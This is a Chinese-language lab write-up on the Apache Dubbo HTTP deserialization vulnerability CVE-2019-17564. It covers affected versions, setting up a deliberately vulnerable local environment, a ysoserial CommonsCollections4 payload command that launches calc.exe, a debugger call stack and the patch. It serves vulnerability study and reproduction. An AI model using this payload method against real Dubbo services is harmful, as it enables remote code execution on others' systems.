0x00 前言

学习Dubbo历史洞。

0x01 漏洞原理

Apache Dubbo在使用HTTP协议进行通信时,是直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的,而这个过程会读取POST请求的Body内容并进行反序列化操作,从而导致反序列化漏洞的存在进而RCE。

0x02 影响版本

  • Apache Dubbo 2.7.0 to 2.7.4;
  • Apache Dubbo 2.6.0 to 2.6.7;
  • Apache Dubbo all 2.5.x;

0x03 环境搭建

十分方便的环境搭建可参考Vulhub:https://github.com/vulhub/vulhub/tree/master/dubbo/CVE-2019-17564

这里采用本地搭建的方式。

下载dubbo-samples项目中的dubbo-samples-http子项目:https://github.com/apache/dubbo-samples

当前下载的项目Dubbo版本是2.7.7,直接修改pom中的dubbo.version为漏洞版本是会引起maven错误的,直接在dubbo对应的dependency标签中的添加<version>2.7.3</version>即可:

接着,因为默认项目中是没有已知的可利用Gadget的,需要在pom中添加CC链依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

下载zookeeper到本地,运行服务端,默认监听地址0.0.0.0:2181

然后运行即可。如果显示http端口被占用,在http-provider.xml中修改一下监听的端口号即可:

1
<dubbo:protocol name="http" id="http" port="${servlet.port:8081}" server="${servlet.container:tomcat}"/>

正常跑起来,其中会显示Dubbo Provider注册到Register中的HTTP服务名:

0x04 漏洞复现

一般攻击者是需要通过向Register查询才知道Dubbo Provider对外提供了哪些接口服务的。

这里用zookeeper的客户端直接连接查询:

1
zkCli.cmd -server 127.0.0.1:2181

获取到Dubbo Provider对外接口为:

1
org.apache.dubbo.samples.http.api.DemoService

使用ysoserial工具生成CC4链的payload:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc.exe" > dubbo.poc

将payload POST到Dubbo Provider目标接口即可触发漏洞:

0x05 调试分析

根据前面的报错栈信息,在HttpInvokerServiceExporter类的readRemoteInvocation()函数中打上断点直接调试。

首先HttpServlet在处理请求分发时会调用到org/apache/dubbo/remoting/http/servlet/DispatcherServlet类的service()函数,其中会尝试获取HttpHandler,若handler对象为null即找不到目标服务时就会返回404,反之进一步调用handler对象的handle()函数来处理请求:

跟进,获取URI后,然后Dubbo是使用spring-web中的HttpInvokerServiceExporter类对象skeleton来获取对应的,判断如果请求方式不是POST则直接响应500,是的话则直接设置RPC远程服务地址,然后调用HttpInvokerServiceExporter类对象skeleton的handleRequest()函数进一步处理请求,这里Content-Type为application/x-java-serialized-object即Java序列化数据类型:

往下,就进入到Spring框架的HttpInvokerServiceExporter类的handleRequest()函数中,然后调用到doReadRemoteInvocation()函数,其中调用readObject()函数对POST内容进行Java原生反序列化操作:

再往下就是Java原生反序列化触发CC4链的过程:

此时函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
transform:124, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2234, ObjectInputStream (java.io)
readOrdinaryObject:2125, ObjectInputStream (java.io)
readObject0:1624, ObjectInputStream (java.io)
readObject:464, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

Spring框架官方也有在文档中提到可能存在Java反序列化漏洞:https://docs.spring.io/spring-framework/docs/5.1.0.RELEASE/spring-framework-reference/integration.html#remoting-httpinvoker

0x06 补丁分析

官方在后续版本中是将Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类替换成了com\googlecode\jsonrpc4j\JsonRpcServer类进行处理。

这里换个2.7.5版本测试。由于JsonRpcServer.handle()中无法处理Java序列化数据,因此是不存在类似Spring的HttpInvokerServiceExporter类中的反序列化漏洞的:

正常报文看下,通信的数据类型变成JSON格式了:

0x07 参考

Apache Dubbo反序列化漏洞(CVE-2019-17564)